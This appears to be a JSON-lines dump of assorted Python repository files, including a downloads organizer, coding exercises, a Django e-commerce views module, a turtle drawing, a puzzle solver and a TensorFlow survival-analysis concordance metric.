event.src_path.endswith(\".part\"):\n\t\t\t_, extension = os.path.splitext(event.src_path)\n\t\t\tif extension == \".pdf\":\n\t\t\t\tself.move_file(src=event.src_path, dst=self.pdf_dst)\n\t\t\telif imghdr.what(event.src_path) and os.path.basename(event.src_path) in os.listdir(os.getcwd()):\n self.move_file(src=event.src_path, dst=self.img_dst)\n\n\t@staticmethod\n\tdef move_file(src, dst):\n\t\tfile = os.path.basename(src)\n\t\tdst = os.path.join(dst, file)\n\t\tshutil.move(src=src, dst=dst)\n\n\nevent_handler = Handler()\nobserver = Observer()\nobserver.schedule(event_handler, event_handler.tracked, recursive=True)\nobserver.start()\n\ntry:\n\twhile True:\n\t\ttime.sleep(10)\nexcept KeyboardInterrupt:\n\tobserver.stop()\n\tobserver.join()\n\n\n","repo_name":"cbr9/Downloads-Organizer","sub_path":"organizer.py","file_name":"organizer.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72394541957","text":"from itertools import combinations\nN = int(input())\ncoins = list(map(int, input().split()))\n# 동전들의 합이 가장 크게 만들 수 있는 양의 정수 금액\n# 총 합에 해당하는 정수는 무조건 만들 수 있으므로 굳이 확인할 필요 X\ncheck = [0] * (sum(coins))\n# 모든 경우의 수(부분 집합)\nfor i in range(len(coins)):\n sub_sets = list(combinations(coins, i))\n for sub_set in sub_sets:\n check[sum(sub_set)] += 1\nprint(check.index(0))","repo_name":"hyunspace/TIL-APS","sub_path":"이것이-취업을-위한-코딩테스트다-python/03-그리디/04-만들수없는금액.py","file_name":"04-만들수없는금액.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32352704255","text":"#pascal's triangle\r\nfrom math import factorial\r\nn=int(input(\"Enter the number of rows you want\\n\"))\r\nfor i in range(n): \r\n for d in range(n-i+1):\r\n print(end=\" \")\r\n for d in range(i+1):\r\n print(factorial(i)//(factorial(d)*factorial(i-d)),end=\" \")\r\n\r\n print()\r\n","repo_name":"Harmanmeet07/assignment6","sub_path":"question3.py","file_name":"question3.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25156096221","text":"import json\nfrom .filters import *\nfrom django.http import HttpResponse\nfrom django.shortcuts import redirect, render\nfrom django.db.models import Count, Q\nfrom .form import *\nfrom .models import *\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic import TemplateView, DetailView, ListView\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nfrom django.contrib.auth import update_session_auth_hash\nfrom django.contrib.auth.forms import PasswordChangeForm\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\n\n\n\ndef home(request):\n top_shops = Shops.objects.all().order_by('shop_name')[:5]\n user_shop = Shops.objects.filter(seller_id__user_id__id=request.user.id)\n \n\n return render(request, \"index.html\", {'top_shops': top_shops})\n\n\ndef signup(request):\n form = UserRegForm()\n myUser = User.objects.all()\n if request.method == \"POST\":\n form = UserRegForm(request.POST)\n username = request.POST[\"username\"]\n email = request.POST[\"email\"]\n password = request.POST[\"password\"]\n password1 = request.POST[\"password1\"]\n latitude=request.POST['latitude']\n longitude = request.POST['longitude']\n\n if password != password1:\n messages.error(request, \"Password dont Match\")\n return redirect(signup)\n if len(password) < 4:\n messages.error(request, \"Password too short\")\n return redirect(signup)\n if User.objects.filter(username=username).exists():\n messages.error(request, \"user name already exist!\")\n return redirect(signup)\n if User.objects.filter(email=email).exists():\n messages.error(request, \"email already exist!\")\n return redirect(signup)\n else:\n myUser = User.objects.create_user(\n username=username,\n email=email,\n password=password,\n type_Of_User=\"B\",\n )\n buyer = Buyer.objects.create(user_id=myUser, latitude=latitude, longitude=longitude)\n myUser.save()\n buyer.save()\n messages.success(request, \"successfull registered\")\n return redirect(signin)\n\n return render(request, \"costomer/register.html\")\n\n\ndef signin(request):\n if request.method == \"POST\":\n email = request.POST['email']\n password = request.POST['password']\n user = authenticate(email=email, password=password)\n if user is not None:\n login(request, user)\n messages.success(request, \"logged in...\")\n if request.user.type_Of_User == 'B':\n return redirect(home)\n if request.user.type_Of_User == 'S':\n return redirect(dashboard)\n else:\n messages.error(request, \"wrong details\")\n return redirect(signin)\n\n return render(request, \"costomer/login.html\")\n\n\ndef password_change(request):\n if request.method == 'POST':\n form = PasswordChangeForm(user=request.user, data=request.POST)\n if form.is_valid():\n form.save()\n update_session_auth_hash(request, form.user)\n else:\n form = PasswordChangeForm(request.user)\n return render(request, 'registration/change_password.html', {\n 'form': form\n })\n\ndef wellcome(request):\n return render(request, \"costomer/wellcome.html\")\n\n\ndef home(request):\n top_5_products = Product.objects.all()[:5]\n featured_products = Product.objects.all().order_by('price')[:6]\n categories = Shop_Categories.objects.all()\n \n \n if request.user.is_authenticated and request.user.type_Of_User == 'B':\n #count cart current items\n incomplete_order = Order.objects.filter(\n buyer_id__user_id = request.user.id, completed=False)\n for order in incomplete_order:\n cart_items = Cart.objects.filter(order=order).count()\n else:\n cart_items = 0 \n top_products = Product.objects.all().order_by('-posted_Date')\n \n \n \n #search funtionality in homepage\n if request.method == 'GET':\n query = request.GET.get('search')\n if query is not None:\n lookup = Q(Q(product_name__icontains = query) |\n Q(description__icontains = query)|\n Q(price__icontains = query))\n top_products = Product.objects.filter(lookup)\n else:\n top_products = Product.objects.all()\n \n \n context = {\n 'top_products': top_products, 'top_5_products':top_5_products,\n 'featured_products':featured_products,'cart_items':cart_items,\n 'categories':categories\n }\n return render(request, 'costomer/home.html', context)\n#class based view home view\n''' class HomePageListView(TemplateView): # new\n model = Product\n context_object_name = 'top_products'\n template_name = 'costomer/home.html' '''\ndef product(request, id):\n product = Product.objects.get(id=id)\n if request.method == \"POST\":\n quantity = request.POST['quantity']\n # add to cart\n buyer = Buyer.objects.get(user_id__id=request.user.id)\n orderqr = Order.objects.filter(buyer_id = buyer, completed=False)[:0]\n \n print(\"order dont exists\")\n order, created = Order.objects.get_or_create(buyer_id=buyer, completed=False,)\n\n cart_item = Cart.objects.create(quantity=quantity, product=product, order=order)\n cart_item.save()\n \n \n product_shop = Shops.objects.get(product__id=product.id)\n\n shop_products = Product.objects.filter(shop_id__id=product_shop.id)\n print(shop_products)\n\n context = {'product': product, 'shop_products': shop_products}\n \n return render(request, \"costomer/product.html\", context)\n\n\n\n\ndef product_details(request, id): \n product = Product.objects.get(id=id)\n \n shop = Shops.objects.get(product__id = product.id)\n if request.user.type_Of_User != \"B\":\n messages.error(request, \"You must be a buyer to place order\")\n else:\n if request.method == \"POST\":\n quantity = request.POST['quantity']\n # add to cart\n buyer = Buyer.objects.get(user_id__id=request.user.id)\n order, created = Order.objects.get_or_create(buyer_id=buyer, completed=False,shop=shop)\n order_qs = Order.objects.filter(buyer_id = buyer, completed=False, shop=shop)\n order = order_qs[0]\n if Cart.objects.filter(order=order, product=product).exists():\n cart_item = Cart.objects.get(order=order, product=product)\n cart_item.quantity = quantity\n cart_item.save()\n else: \n cart_item = Cart.objects.create(quantity=quantity, product=product, order=order)\n cart_item.save()\n \n \n product_shop = Shops.objects.get(product__id=product.id)\n\n shop_products = Product.objects.filter(shop_id__id=product_shop.id)\n print(shop_products)\n\n context = {'product': product, 'shop_products': shop_products}\n return render(request, \"costomer/single-product.html\", context)\n\n\ndef cart(request):\n if request.user.is_authenticated:\n buyer = Buyer.objects.get(user_id__id=request.user.id)\n orders = Order.objects.filter(buyer_id=buyer, completed=False)\n items=[]\n total_amount = 0\n for order in orders:\n total_amount = total_amount + order.get_order_total\n for i in order.cart_set.all():\n items.append(i)\n print(items)\n print(total_amount)\n get_order_total = (\"{:,}\".format(total_amount))\n \n \n else:\n items= []\n #delete an item in cart\n if request.method==\"POST\":\n itemId = request.POST['itemId']\n item = Cart.objects.get(id=itemId, order=order )\n item.delete()\n return redirect(cart)\n context={'items': items, 'get_order_total': get_order_total}\n return render(request, \"costomer/cart.html\", context)\n\ndef update_item(request):\n is_ajax = request.headers.get('X-Requested-Width') == 'XMLHttpRequest'\n data = json.loads(request.body)\n productId= data['productId']\n action= data['action']\n myuser = request.user\n buyer = Buyer.objects.get(user_id = myuser)\n product = Product.objects.get(id=productId)\n shop = Shops.objects.get(product__id = product.id)\n order, created = Order.objects.get_or_create(buyer_id=buyer, completed=False,shop=shop)\n cart_item , created = Cart.objects.get_or_create(product=product, order=order) \n if action == 'add':\n cart_item.quantity = cart_item.quantity + 1\n elif action == 'remove':\n cart_item.quantity = cart_item.quantity-1\n cart_item.save()\n if cart_item.quantity<=0:\n cart_item.delete()\n \n cart_item = Cart.objects.get(product=product,order=order)\n cart_total = cart_total.quantity\n \n print(productId, data)\n return JsonResponse('Successfull...', safe=False)\n\n\n@login_required\ndef checkout(request):\n \n if request.user.is_authenticated:\n buyer = Buyer.objects.get(user_id__id=request.user.id)\n orders = Order.objects.filter(buyer_id=buyer, completed=False,)\n for order in orders:\n items = order.cart_set.all()\n \n else:\n items= []\n #delete an item in cart\n if request.method==\"POST\":\n itemId = request.POST['itemId']\n item = Cart.objects.get(id=itemId, order=order )\n item.delete()\n return redirect(cart)\n context={'items': items, 'order':order, 'buyer': buyer}\n return render(request, \"costomer/checkout.html\", context)\n\n\n\n\n\ndef my_account(request):\n return render(request, \"costomer/settings.html\")\n\ndef chart(request):\n return render(request, \"costomer/message.html\")\n\ndef my_orders(request):\n try:\n orders = Order.objects.filter(buyer_id__user_id = request.user.id)\n orders_total = Order.objects.filter(buyer_id__user_id = request.user.id).count()\n if orders_total <1:\n messages.info(request, \"You dont have any order yet\")\n except:\n messages.error = (request, \"You haven't placed any order\")\n \n context = {'orders': orders} \n return render(request, \"costomer/my-order.html\", context)\n\ndef edit_profile(request):\n current_user = User.objects.get(id=request.user.id)\n print(current_user.username)\n if request.method == \"POST\":\n username = request.POST['username']\n full_name = request.POST['full_name']\n phone = request.POST['phone']\n email = request.POST['email']\n username = request.POST['username']\n try:\n profile_pic = request.FILES['profile-pic']\n except:\n profile_pic = current_user.profile_pic\n if User.objects.filter(username=username).exists() and username != current_user.username:\n messages.error(request, \"Username already exists\")\n return redirect(\"edit_profile\")\n if User.objects.filter(email=email).exists()and email != current_user.email:\n messages.error(request, \"email already exists\")\n return redirect(\"edit_profile\")\n else:\n \n if profile_pic:\n current_user.profile_pic = profile_pic\n current_user.username = username\n current_user.save()\n else:\n current_user.username = username\n current_user.save() \n return redirect(edit_profile)\n \n context = {'current_user': current_user}\n return render(request, \"costomer/edit-profile.html\", context)\n\n\ndef checkout_payment(request):\n return render(request, \"costomer/checkout-payment.html\")\ndef bank_payment(request):\n return render(request, \"costomer/checkout-bank.html\")\ndef cash_payment(request):\n return render(request, \"costomer/checkout-cash.html\")\ndef payment_success(request):\n return render(request, \"costomer/payment-success.html\")\n \n\n\ndef shops_list(request):\n \n return render(request, \"costomer/vendors.html\")\n\ndef shop_products(request):\n \n return render(request, \"costomer/vendor-shop.html\")\n\n\ndef support(request):\n return render(request, \"costomer/support.html\")\ndef privacy_policy(request):\n return render(request, \"costomer/privacy-policy.html\")\n\n\ndef category(request, id):\n category= Shop_Categories.objects.get(id=id)\n sub_categories = Sub_Categories.objects.filter(shop_category_id=category)\n \n context = {\n 'category':category,'sub_categories':sub_categories,\n }\n return render(request, \"costomer/category.html\", context)\n\ndef sub_category(request, id):\n sub_category = Sub_Categories.objects.get(id=id)\n \n context = {\n 'sub_category':sub_category \n }\n return render(request, \"costomer/sub-category.html\", context)\n\n\ndef shops_details(request):\n return render(request, \"costomer/vendor-shop.html\")\n\n\n\n########ADMIN DASHBOARD VIEWS########\n\n\ndef admins(request):\n return render(request, \"admins/admins.html\")\n\n\ndef register_seller(request):\n seller_shop = Shops.objects.filter(seller_id__user_id__id=request.user.id)\n print(seller_shop.query)\n form = UserRegForm()\n if request.method == \"POST\":\n form = UserRegForm(request.POST)\n username = request.POST[\"username\"]\n email = request.POST[\"email\"]\n phone = request.POST[\"phone\"]\n full_name = request.POST[\"full_name\"]\n password = request.POST[\"password\"]\n password1 = request.POST[\"password1\"]\n\n if password != password1:\n messages.error(request, \"Password dont Match\")\n return redirect(register_seller)\n if len(password) < 4:\n messages.error(request, \"Password too short\")\n return redirect(register_seller)\n if User.objects.filter(username=username):\n messages.error(request, \"user name already exist!\")\n return redirect(register_seller)\n if User.objects.filter(email=email):\n messages.error(request, \"email already exist!\")\n return redirect(register_seller)\n else:\n myUser = User.objects.create_user(\n username=username,\n email=email,\n password=password,\n type_Of_User=\"S\",\n phone=phone,\n full_name=full_name,\n )\n seller = Seller.objects.create(user_id=myUser)\n myUser.save()\n seller.save()\n seller_shop = Shops.objects.create(seller_id=seller)\n seller_shop.save()\n\n messages.success(request, \"successfull registered\")\n return redirect(admins)\n\n return render(request, \"admins/register_seller.html\")\n\n\ndef sellers_list(request):\n return render(request, \"admins/sellers_list.html\")\n\n\ndef logout_user(request):\n logout(request)\n return redirect(home)\n\n\n#######seller dashboard views########\n@login_required\ndef add_shop(request):\n if request.user.type_Of_User == \"B\":\n return redirect(home)\n shopform = ShopForm()\n seller_shop = Shops.objects.all()\n if request.method == \"POST\":\n shopform = ShopForm(request.POST)\n shop_name = request.POST['shop_name']\n longitude = request.POST['longitude']\n shop_category_id = request.POST['shop_category_id']\n latitude = request.POST['latitude']\n address = request.POST['address']\n Contact = request.POST['Contact']\n\n seller_id = Seller.objects.get(user_id=request.user.id)\n cat = Shop_Categories.objects.get(id=shop_category_id)\n seller_shop = Shops.objects.create(\n seller_id=seller_id,\n shop_name=shop_name, longitude=longitude, latitude=latitude,\n address=address, Contact=Contact, shop_category_id=cat\n )\n seller_shop.save()\n\n context = {'shopform': shopform, 'seller_shop': seller_shop}\n return render(request, \"dashboard/add_shop.html\", context)\n\n\ndef shop_setting(request):\n if request.user.type_Of_User == \"B\":\n return redirect(home)\n seller_shop = Shops.objects.get(seller_id__user_id__id=request.user.id)\n\n if request.method == \"POST\":\n seller_shop = Shops.objects.get(seller_id__user_id__id=request.user.id)\n Contact = request.POST['Contact']\n address = request.POST['address'] \n email = request.POST['email'] \n shop_name = request.POST['shop_name']\n seller_shop.Contact = Contact\n seller_shop.address = address\n seller_shop.shop_name = shop_name\n seller_shop.email = email\n seller_shop.save()\n \n context = {'seller_shop': seller_shop}\n return render(request, \"dashboard/shop_setting.html\", context)\n\ndef all_products(request):\n product_filter = ProductFilter() \n seller_shop = Shops.objects.get(seller_id__user_id__id=request.user.id)\n products = Product.objects.filter(shop_id = seller_shop).order_by('-posted_Date')\n\n productstt = Product.objects.filter(shop_id = seller_shop)\n total_products = productstt.count()\n \n if request.method == \"POST\" and 'delete' in request.POST:\n productID = request.POST['productID']\n product_to_delete = Product.objects.get(id=productID) \n product_to_delete.delete()\n \n return redirect(all_products)\n product_filter = ProductFilter(request.GET, queryset = products ) \n products = product_filter.qs\n \n ''' is_ajax = request.headers.get('X-Requested-Width') == 'XMLHttpRequest'\n \n if is_ajax and request.method == \"POST\":\n data= json.loads(data)\n product_filter = ProductFilter(request.GET, queryset = products ) \n products = product_filter.qs.values()\n return JsonResponse(products, safe=False) '''\n \n if products.count()<1:\n messages.info(request, \"No Products found\")\n context = {'products': products, 'total_products':total_products, 'product_filter': product_filter}\n return render(request, \"dashboard/all-products.html\", context)\n\n\ndef edit_product(request, id):\n product = Product.objects.get(id=id)\n product_filter = ProductFilter() \n if request.method == \"POST\":\n manufactured_Date = request.POST['manufactured_Date']\n product_name = request.POST['product_name']\n price = request.POST['price']\n brand_name = request.POST['brand_name']\n description = request.POST['description']\n product.manufactured_Date = manufactured_Date\n product.price = price\n product.product_name = product_name\n product.description = description\n product.brand_name = brand_name\n product.save()\n \n context = {'product':product, 'product_filter': product_filter}\n return render(request, \"dashboard/edit-product.html\", context)\n\n@login_required\ndef dashboard(request):\n if request.user.type_Of_User == \"B\":\n return redirect(home)\n seller_shop = Shops.objects.filter(seller_id__user_id__id=request.user.id)[0]\n total_products = Product.objects.filter(shop_id = seller_shop).count()\n total_orders = Order.objects.filter(shop=seller_shop).count()\n top_sold = Product.objects.filter(shop_id = seller_shop)\n total_sales=[]\n complited_orders = Order.objects.filter(shop=seller_shop, completed=True)\n for order in complited_orders:\n print(order.get_order_total)\n total_sales.append(order.get_order_total)\n \n total_sales= sum(total_sales) \n total_sales= ((\"{:,}\".format(total_sales)))\n \n \n #this month orders\n tis_month = Order.objects.filter(shop=seller_shop, completed=True)\n \n \n context = {'seller_shop': seller_shop, 'total_products': total_products, \n 'total_orders':total_orders, 'total_sales': total_sales, 'top_sold': top_sold}\n return render(request, \"dashboard/dashboard.html\", context)\n\n\ndef load_sub_categories(request):\n shop_category_id = request.GET.get('shop_category_id')\n sub_categories = Sub_Categories.objects.filter(\n shop_category_id=shop_category_id)\n return render(request, \"dashboard/subcategories.html\")\n\n\ndef add_product(request):\n productForm = ProductForm()\n pictureForm = PictureForm()\n attributeForm = Product_AttributeForm\n shop_id = Shops.objects.get(seller_id__user_id=request.user.id)\n pictureForm = PictureForm()\n if request.method == \"POST\":\n productForm = ProductForm(request.POST, request.FILES)\n if productForm.is_valid():\n product_name = productForm.cleaned_data['product_name']\n price = productForm.cleaned_data['price']\n description = productForm.cleaned_data['description']\n brand_name = productForm.cleaned_data['brand_name']\n manufactured_Date = productForm.cleaned_data['manufactured_Date']\n pictures = request.FILES.getlist('product_picture')\n shop_id = shop_id\n is_active = True\n\n product = Product.objects.create(\n product_name=product_name, brand_name=brand_name, price=price,\n description=description, manufactured_Date=manufactured_Date, shop_id=shop_id, is_active=is_active\n )\n product.save()\n\n for pic in pictures:\n product_pictures = Picture.objects.create(\n product_picture=pic, product_id=product)\n product_pictures.save()\n return redirect(all_products)\n\n context = {'productForm': productForm, 'pictureForm': pictureForm,\n 'attributeForm': attributeForm}\n return render(request, \"dashboard/add_product.html\", context)\n\n\n\n\n\ndef upload_pictures(request, id):\n product_id = Product.objects.get(id=id)\n pictureForm = PictureForm()\n if request.method == \"POST\":\n pictureForm = PictureForm(request.POST, request.FILES)\n if pictureForm.is_valid():\n product_picture = pictureForm.cleaned_data['product_picture']\n product_id = product_id\n pictures = Picture.objects.create(\n product_picture=product_picture, product_id=product_id)\n pictures.save()\n return redirect(added_products)\n\n context = {'product_id': product_id}\n return render(request, \"dashboard/upload_picture.html\", context)\n\n\ndef add_specs(request, id):\n\n product_id = Product.objects.get(id=id)\n attributeForm = Product_AttributeForm()\n if request.method == \"POST\":\n attributeForm = Product_AttributeForm(request.POST)\n if attributeForm.is_valid():\n attribute_name = attributeForm.cleaned_data['attribute_name']\n value = attributeForm.cleaned_data['value']\n product_id = product_id\n product_attribute = Product_Attribute.objects.create(\n attribute_name=attribute_name, product_id=product_id, value=value)\n product_attribute.save()\n return redirect(added_products)\n\n attrs = Product.objects.filter(\n shop_id__seller_id__user_id=request.user.id).order_by('-posted_Date').annotate(attrs=Count('product_attributes'))\n\n context = {'attrs': attrs, 'attributeForm': attributeForm}\n return render(request, \"dashboard/add-specs.html\", context)\n\ndef orders(request):\n \n user = request.user\n shop = Shops.objects.get(seller_id__user_id = user)\n orders = enumerate(Order.objects.filter(shop=shop).order_by('completed', 'created_date'), start =1)\n \n print(orders)\n context = {\"orders\": orders}\n return render(request, \"dashboard/orders.html\", context)","repo_name":"hermesgido/abletech-ecomerce","sub_path":"mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23709,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"74864379717","text":"import turtle\r\nscreen = turtle.Screen()\r\ndraw = turtle.Turtle()\r\n\r\ndef Circles(col, rad, val):\r\n draw.color(col)\r\n draw.circle(rad, -180)\r\n draw.up()\r\n draw.setpos(val, 0)\r\n draw.down()\r\n draw.right(180)\r\n \r\ncol = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"]\r\n\r\nscreen.setup(600, 600)\r\nscreen.bgcolor(\"white\")\r\ndraw.right(90)\r\ndraw.width(10)\r\ndraw.speed(10)\r\n\r\nfor i in range(10):\r\n Circles(col[i], 10*(i+8), -10*(i+1))\r\n \r\ndraw.hideturtle()","repo_name":"KacperSalamon/Python","sub_path":"rainbow_2.py","file_name":"rainbow_2.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"22790620440","text":"'''\nFind if the year is leap year or not with below conditions\n\nThis is how you work out whether if a particular year is a leap year.\non every year that is evenly divisible by 4 \n**except** every year that is evenly divisible by 100 \n**unless** the year is also evenly divisible by 400\n'''\n\nyear = int(input(\"Please enter the year to check if it is leap year or not\\n\"))\n\nif (year % 4 == 0):\n if(year % 100 == 0):\n if(year % 400 == 0):\n print(\"Leap year.\")\n else:\n print(\"Not leap year.\")\n else:\n print(\"Leap year.\")\nelse: \n print(\"Not leap year.\")\n","repo_name":"pavitra93/python101","sub_path":"Day 3/day-3.5-leap-year.py","file_name":"day-3.5-leap-year.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14293109494","text":"\nfrom itertools import combinations\n\ndef main():\n pool = [n for n in range(1, 10)]\n combinations = compute_all_length_combinations(pool);\n \n with open(\"prob1.in\", \"r\") as ins, open(\"probl.out\", \"w+\") as outs:\n grid = parse(ins.readline()) + parse(ins.readline()) + parse(ins.readline())\n ins.readline()\n while grid != []:\n solution = findSolution(combinations, grid)\n print(solution)\n outs.write(\" \".join([str(x) for x in solution]) + \"\\n\")\n grid = parse(ins.readline()) + parse(ins.readline()) + parse(ins.readline())\n ins.readline()\n print(\"done\")\n\ndef parse(text):\n return [character for character in text.strip()]\n\ndef compute_all_length_combinations(pool):\n possible = []\n for size in range(1, len(pool) + 1):\n possible += list(combinations(pool, size))\n return possible;\n\ndef findSolution(combinations, grid):\n GOAL = [\"1\", \"1\", \"1\", \"1\", \"0\", \"1\", \"1\", \"1\", \"1\"]\n print(grid)\n for combo in combinations:\n table = list(grid)\n for move in combo:\n transform(table, move)\n if (table == GOAL):\n return combo\n print(grid)\n return ()\n\ndef transform(grid, number):\n flips = {1 : [1, 2, 4, 5],\n 2 : [1, 2, 3],\n 3 : [2, 3, 5, 6],\n 4 : [1, 4, 7],\n 5 : [2, 4, 5, 6, 8],\n 6 : [3, 6, 9],\n 7 : [4, 5, 7, 8],\n 8 : [7, 8, 9],\n 9 : [5, 6, 8, 9]\n }\n flip(grid, flips[number])\n\ndef flip(grid, flips):\n for flip in flips:\n index = flip - 1\n grid[index] = flop(grid[index])\n\ndef flop(character):\n if character == \"0\":\n return \"1\"\n return \"0\"\n \n \n\nif __name__ == \"__main__\":\n main()\n \n","repo_name":"pizzaisdavid/challenges","sub_path":"py/MagicSquares/MagicSqaures.py","file_name":"MagicSqaures.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32958042938","text":"import tensorflow as tf\nfrom survivalnet2.data.labels import mask, unstack_labels\n\n\ndef _concordance_event(delta_t, delta_r, events): # pragma: no cover\n # calculates concordance statistics for a sample with event=True\n\n prod = tf.multiply(delta_r, delta_t)\n\n # comparison to right-censored samples\n orderable_rc = tf.logical_not(events) & (delta_t >= 0.0)\n concordant_rc = orderable_rc & (delta_r < 0.0)\n discordant_rc = orderable_rc & (delta_r > 0.0)\n tiedx_rc = orderable_rc & (delta_r == 0.0)\n\n # comparison to non-censored samples\n orderable = events & (delta_t != 0.0)\n concordant = events & (prod < 0.0)\n discordant = events & (prod > 0.0)\n tiedx = orderable & (delta_r == 0.0)\n tiedy = events & ((delta_t == 0.0) & (delta_r != 0.0))\n tiedxy = events & ((delta_t == 0.0) & (delta_r == 0.0))\n\n # combine\n orderable = orderable_rc | orderable\n concordant = concordant_rc | concordant\n discordant = discordant_rc | discordant\n tiedx = tiedx_rc | tiedx\n\n return concordant, discordant, tiedx, tiedy, tiedxy\n\n\ndef _concordance_nonevent(delta_t, delta_r, events): # pragma: no cover\n # calculates concordance statistics for a sample with event=False\n\n # comparison to non-censored samples\n orderable = events & (delta_t <= 0.0)\n concordant = orderable & (delta_r > 0.0)\n discordant = orderable & (delta_r < 0.0)\n tiedx = orderable & (delta_r == 0.0)\n tiedy = tf.zeros(tf.shape(orderable), tf.bool)\n tiedxy = tf.zeros(tf.shape(orderable), tf.bool)\n\n return concordant, discordant, tiedx, tiedy, tiedxy\n\n\ndef _concordance_loop(i, inputs, statistics): # pragma: no cover\n # calculates concordance statistics for one sample in tf.while_loop\n\n # unpack inputs\n risks = inputs[0]\n times = inputs[1]\n events = inputs[2]\n c = statistics[0]\n d = statistics[1]\n tx = statistics[2]\n ty = statistics[3]\n txy = statistics[4]\n\n # compare sample i to subsequent samples (risks may have singleton dimension)\n delta_r = tf.squeeze(risks[i + 1 :] - risks[i])\n delta_t = times[i + 1 :] - times[i]\n\n # compute concordance statistics\n concordant, discordant, tiedx, tiedy, tiedxy = tf.cond(\n events[i],\n lambda: _concordance_event(delta_t, delta_r, events[i + 1 :]),\n lambda: _concordance_nonevent(delta_t, delta_r, events[i + 1 :]),\n )\n\n # reduce\n c = c + tf.reduce_sum(tf.cast(concordant, tf.int32))\n d = d + tf.reduce_sum(tf.cast(discordant, tf.int32))\n tx = tx + tf.reduce_sum(tf.cast(tiedx, tf.int32))\n ty = ty + tf.reduce_sum(tf.cast(tiedy, tf.int32))\n txy = txy + tf.reduce_sum(tf.cast(tiedxy, tf.int32))\n\n return i + 1, (risks, times, events), (c, d, tx, ty, txy)\n\n\n@tf.function\ndef _concordance(risks, times, events, parallel=16): # pragma: no cover\n # calculates concordance statistics used in ConcordanceMetric\n\n i = tf.constant(0, tf.int32)\n zero = tf.constant(0, tf.int32)\n state = [i, (risks, times, events), (zero, zero, zero, zero, zero)]\n condition = lambda x, y, z: x < tf.size(risks) - 1\n body = lambda x, y, z: _concordance_loop(x, y, z)\n i, inputs, statistics = tf.while_loop(condition, body, state)\n\n return statistics\n\n\nclass ConcordanceMetric(tf.keras.metrics.Metric):\n \"\"\"This class implements a generic concordance metric that can be\n subclassed by the HarrellsC, SommersD, GoodmanKruskalGamma, and KendallTauA/B\n metrics. These metrics all consume the same concordance statistics. This\n class calculates concordance statistics given inputs ytrue=[times, events]\n and ypred including the number of concordant pairs, discordant pairs, and\n pairs with tied times, tied risks, and tied times and risks. Each subclass\n provides their own result function which calculates a unique statistic\n based on these values. This is a stateful metric that accumulates these\n quantities over multiple calls. It is vectorized and parallelizes across\n samples to reduce calculation time.\n\n ***Note: Calling this metric several times on groups of samples does not\n produce identical results to calling it on the combined groups. Samples\n are not compared across calls, rather, the concordance statistics are\n accumulated and combined across calls.\n\n Parameters\n ----------\n name : string\n The name of the class instance.\n parallel_iterations : int\n The number of parallel iterations to use in calculation. Default value\n is 16.\n\n Attributes\n ----------\n concordant : int\n The number of sample pairs with concordant predictions and times/events.\n discordant : int\n The number of sample pairs with discordant predictions and times/events.\n tiedrisks : int\n The number of pairs with tied predictions.\n tiedtimes : int\n The number of pairs with tied times (with events).\n tiedriskstimes : int\n The number of pairs with both tied risks and times (with events).\n parallel : int\n The number of parallel iterations to use in update_state.\n \"\"\"\n\n def __init__(self, name, parallel_iterations=16, **kwargs):\n super().__init__(name=name, **kwargs)\n self.concordant = self.add_weight(\n name=\"concordant\", initializer=\"zeros\", dtype=tf.int32\n )\n self.discordant = self.add_weight(\n name=\"discordant\", initializer=\"zeros\", dtype=tf.int32\n )\n self.tiedrisks = self.add_weight(\n name=\"tiedrisks\", initializer=\"zeros\", dtype=tf.int32\n )\n self.tiedtimes = self.add_weight(\n name=\"tiedtimes\", initializer=\"zeros\", dtype=tf.int32\n )\n self.tiedriskstimes = self.add_weight(\n name=\"tiedriskstimes\", initializer=\"zeros\", dtype=tf.int32\n )\n self.parallel = self.add_weight(\n name=\"parallel\", initializer=\"zeros\", dtype=tf.int32\n )\n self.parallel.assign_add(parallel_iterations)\n\n def reset_state(self):\n self.concordant.assign(0)\n self.discordant.assign(0)\n self.tiedrisks.assign(0)\n self.tiedtimes.assign(0)\n self.tiedriskstimes.assign(0)\n\n def update_state(self, y_true, y_pred, sample_weight=None): # pragma: no cover\n # mask and unpack the labels\n masked, keep = mask(y_true)\n times, events = unstack_labels(masked)\n\n # Mask the prediction scores\n y_pred = tf.boolean_mask(y_pred, keep, axis=0)\n\n # calculate concordance statistics\n c, d, tx, ty, txy = _concordance(y_pred, times, events, parallel=self.parallel)\n\n # update state variables\n self.concordant.assign_add(c)\n self.discordant.assign_add(d)\n self.tiedrisks.assign_add(tx)\n self.tiedtimes.assign_add(ty)\n self.tiedriskstimes.assign_add(txy)\n\n\nclass HarrellsC(ConcordanceMetric):\n \"\"\"Calculates Harrel's concordance index for right-censored data. Pairs of\n uncensored samples with tied times are ignored, and other pairs of\n samples with tied predictions are are counted as 1/2 correct.\n\n Returns\n -------\n cindex : float\n Proportion of concordant pairs among all orderable pairs. Range [0, 1].\n\n Notes\n -----\n Harrell FE Jr, Califf RM, Pryor DB, Lee KL, Rosati RA. Evaluating the yield of\n medical tests. JAMA. 1982;247(18):2543-2546.\n Reference R package:\n https://cran.r-project.org/web/packages/survival/vignettes/concordance.pdf\n \"\"\"\n\n def __init__(self, name=\"harrellsc\", parallel_iterations=16, **kwargs):\n super().__init__(name=name, parallel_iterations=parallel_iterations, **kwargs)\n\n def result(self): # pragma: no cover\n return (\n (\n (self.concordant - self.discordant)\n / 